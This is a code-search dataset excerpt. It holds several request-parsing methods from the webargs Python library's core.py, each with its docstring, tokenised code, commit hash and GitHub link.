def parse_arg(self, name, field, req, locations=None): """Parse a single argument from a request. .. note:: This method does not perform validation on the argument. :param str name: The name of the value. :param marshmallow.fields.Field field: The marshmallow `Field` for the request parameter. :param req: The request object to parse. :param tuple locations: The locations ('json', 'querystring', etc.) where to search for the value. :return: The unvalidated argument value or `missing` if the value cannot be found on the request. """ location = field.metadata.get("location") if location: locations_to_check = self._validated_locations([location]) else: locations_to_check = self._validated_locations(locations or self.locations) for location in locations_to_check: value = self._get_value(name, field, req=req, location=location) # Found the value; validate and return it if value is not missing: return value return missing
python
def parse_arg(self, name, field, req, locations=None): location = field.metadata.get("location") if location: locations_to_check = self._validated_locations([location]) else: locations_to_check = self._validated_locations(locations or self.locations) for location in locations_to_check: value = self._get_value(name, field, req=req, location=location) # Found the value; validate and return it if value is not missing: return value return missing
[ "def", "parse_arg", "(", "self", ",", "name", ",", "field", ",", "req", ",", "locations", "=", "None", ")", ":", "location", "=", "field", ".", "metadata", ".", "get", "(", "\"location\"", ")", "if", "location", ":", "locations_to_check", "=", "self", ...
Parse a single argument from a request. .. note:: This method does not perform validation on the argument. :param str name: The name of the value. :param marshmallow.fields.Field field: The marshmallow `Field` for the request parameter. :param req: The request object to parse. :param tuple locations: The locations ('json', 'querystring', etc.) where to search for the value. :return: The unvalidated argument value or `missing` if the value cannot be found on the request.
[ "Parse", "a", "single", "argument", "from", "a", "request", "." ]
40cc2d25421d15d9630b1a819f1dcefbbf01ed95
https://github.com/marshmallow-code/webargs/blob/40cc2d25421d15d9630b1a819f1dcefbbf01ed95/src/webargs/core.py#L224-L250
225,997
marshmallow-code/webargs
src/webargs/core.py
Parser._parse_request
def _parse_request(self, schema, req, locations): """Return a parsed arguments dictionary for the current request.""" if schema.many: assert ( "json" in locations ), "schema.many=True is only supported for JSON location" # The ad hoc Nested field is more like a workaround or a helper, # and it servers its purpose fine. However, if somebody has a desire # to re-design the support of bulk-type arguments, go ahead. parsed = self.parse_arg( name="json", field=ma.fields.Nested(schema, many=True), req=req, locations=locations, ) if parsed is missing: parsed = [] else: argdict = schema.fields parsed = {} for argname, field_obj in iteritems(argdict): if MARSHMALLOW_VERSION_INFO[0] < 3: parsed_value = self.parse_arg(argname, field_obj, req, locations) # If load_from is specified on the field, try to parse from that key if parsed_value is missing and field_obj.load_from: parsed_value = self.parse_arg( field_obj.load_from, field_obj, req, locations ) argname = field_obj.load_from else: argname = field_obj.data_key or argname parsed_value = self.parse_arg(argname, field_obj, req, locations) if parsed_value is not missing: parsed[argname] = parsed_value return parsed
python
def _parse_request(self, schema, req, locations): if schema.many: assert ( "json" in locations ), "schema.many=True is only supported for JSON location" # The ad hoc Nested field is more like a workaround or a helper, # and it servers its purpose fine. However, if somebody has a desire # to re-design the support of bulk-type arguments, go ahead. parsed = self.parse_arg( name="json", field=ma.fields.Nested(schema, many=True), req=req, locations=locations, ) if parsed is missing: parsed = [] else: argdict = schema.fields parsed = {} for argname, field_obj in iteritems(argdict): if MARSHMALLOW_VERSION_INFO[0] < 3: parsed_value = self.parse_arg(argname, field_obj, req, locations) # If load_from is specified on the field, try to parse from that key if parsed_value is missing and field_obj.load_from: parsed_value = self.parse_arg( field_obj.load_from, field_obj, req, locations ) argname = field_obj.load_from else: argname = field_obj.data_key or argname parsed_value = self.parse_arg(argname, field_obj, req, locations) if parsed_value is not missing: parsed[argname] = parsed_value return parsed
[ "def", "_parse_request", "(", "self", ",", "schema", ",", "req", ",", "locations", ")", ":", "if", "schema", ".", "many", ":", "assert", "(", "\"json\"", "in", "locations", ")", ",", "\"schema.many=True is only supported for JSON location\"", "# The ad hoc Nested fi...
Return a parsed arguments dictionary for the current request.
[ "Return", "a", "parsed", "arguments", "dictionary", "for", "the", "current", "request", "." ]
40cc2d25421d15d9630b1a819f1dcefbbf01ed95
https://github.com/marshmallow-code/webargs/blob/40cc2d25421d15d9630b1a819f1dcefbbf01ed95/src/webargs/core.py#L252-L286
225,998
marshmallow-code/webargs
src/webargs/core.py
Parser._get_schema
def _get_schema(self, argmap, req): """Return a `marshmallow.Schema` for the given argmap and request. :param argmap: Either a `marshmallow.Schema`, `dict` of argname -> `marshmallow.fields.Field` pairs, or a callable that returns a `marshmallow.Schema` instance. :param req: The request object being parsed. :rtype: marshmallow.Schema """ if isinstance(argmap, ma.Schema): schema = argmap elif isinstance(argmap, type) and issubclass(argmap, ma.Schema): schema = argmap() elif callable(argmap): schema = argmap(req) else: schema = dict2schema(argmap, self.schema_class)() if MARSHMALLOW_VERSION_INFO[0] < 3 and not schema.strict: warnings.warn( "It is highly recommended that you set strict=True on your schema " "so that the parser's error handler will be invoked when expected.", UserWarning, ) return schema
python
def _get_schema(self, argmap, req): if isinstance(argmap, ma.Schema): schema = argmap elif isinstance(argmap, type) and issubclass(argmap, ma.Schema): schema = argmap() elif callable(argmap): schema = argmap(req) else: schema = dict2schema(argmap, self.schema_class)() if MARSHMALLOW_VERSION_INFO[0] < 3 and not schema.strict: warnings.warn( "It is highly recommended that you set strict=True on your schema " "so that the parser's error handler will be invoked when expected.", UserWarning, ) return schema
[ "def", "_get_schema", "(", "self", ",", "argmap", ",", "req", ")", ":", "if", "isinstance", "(", "argmap", ",", "ma", ".", "Schema", ")", ":", "schema", "=", "argmap", "elif", "isinstance", "(", "argmap", ",", "type", ")", "and", "issubclass", "(", "...
Return a `marshmallow.Schema` for the given argmap and request. :param argmap: Either a `marshmallow.Schema`, `dict` of argname -> `marshmallow.fields.Field` pairs, or a callable that returns a `marshmallow.Schema` instance. :param req: The request object being parsed. :rtype: marshmallow.Schema
[ "Return", "a", "marshmallow", ".", "Schema", "for", "the", "given", "argmap", "and", "request", "." ]
40cc2d25421d15d9630b1a819f1dcefbbf01ed95
https://github.com/marshmallow-code/webargs/blob/40cc2d25421d15d9630b1a819f1dcefbbf01ed95/src/webargs/core.py#L300-L323
225,999
marshmallow-code/webargs
src/webargs/core.py
Parser.parse
def parse( self, argmap, req=None, locations=None, validate=None, error_status_code=None, error_headers=None, ): """Main request parsing method. :param argmap: Either a `marshmallow.Schema`, a `dict` of argname -> `marshmallow.fields.Field` pairs, or a callable which accepts a request and returns a `marshmallow.Schema`. :param req: The request object to parse. :param tuple locations: Where on the request to search for values. Can include one or more of ``('json', 'querystring', 'form', 'headers', 'cookies', 'files')``. :param callable validate: Validation function or list of validation functions that receives the dictionary of parsed arguments. Validator either returns a boolean or raises a :exc:`ValidationError`. :param int error_status_code: Status code passed to error handler functions when a `ValidationError` is raised. :param dict error_headers: Headers passed to error handler functions when a a `ValidationError` is raised. :return: A dictionary of parsed arguments """ self.clear_cache() # in case someone used `parse_*()` req = req if req is not None else self.get_default_request() assert req is not None, "Must pass req object" data = None validators = _ensure_list_of_callables(validate) parser = self._clone() schema = self._get_schema(argmap, req) try: parsed = parser._parse_request( schema=schema, req=req, locations=locations or self.locations ) result = schema.load(parsed) data = result.data if MARSHMALLOW_VERSION_INFO[0] < 3 else result parser._validate_arguments(data, validators) except ma.exceptions.ValidationError as error: parser._on_validation_error( error, req, schema, error_status_code, error_headers ) return data
python
def parse( self, argmap, req=None, locations=None, validate=None, error_status_code=None, error_headers=None, ): self.clear_cache() # in case someone used `parse_*()` req = req if req is not None else self.get_default_request() assert req is not None, "Must pass req object" data = None validators = _ensure_list_of_callables(validate) parser = self._clone() schema = self._get_schema(argmap, req) try: parsed = parser._parse_request( schema=schema, req=req, locations=locations or self.locations ) result = schema.load(parsed) data = result.data if MARSHMALLOW_VERSION_INFO[0] < 3 else result parser._validate_arguments(data, validators) except ma.exceptions.ValidationError as error: parser._on_validation_error( error, req, schema, error_status_code, error_headers ) return data
[ "def", "parse", "(", "self", ",", "argmap", ",", "req", "=", "None", ",", "locations", "=", "None", ",", "validate", "=", "None", ",", "error_status_code", "=", "None", ",", "error_headers", "=", "None", ",", ")", ":", "self", ".", "clear_cache", "(", ...
Main request parsing method. :param argmap: Either a `marshmallow.Schema`, a `dict` of argname -> `marshmallow.fields.Field` pairs, or a callable which accepts a request and returns a `marshmallow.Schema`. :param req: The request object to parse. :param tuple locations: Where on the request to search for values. Can include one or more of ``('json', 'querystring', 'form', 'headers', 'cookies', 'files')``. :param callable validate: Validation function or list of validation functions that receives the dictionary of parsed arguments. Validator either returns a boolean or raises a :exc:`ValidationError`. :param int error_status_code: Status code passed to error handler functions when a `ValidationError` is raised. :param dict error_headers: Headers passed to error handler functions when a a `ValidationError` is raised. :return: A dictionary of parsed arguments
[ "Main", "request", "parsing", "method", "." ]
40cc2d25421d15d9630b1a819f1dcefbbf01ed95
https://github.com/marshmallow-code/webargs/blob/40cc2d25421d15d9630b1a819f1dcefbbf01ed95/src/webargs/core.py#L330-L376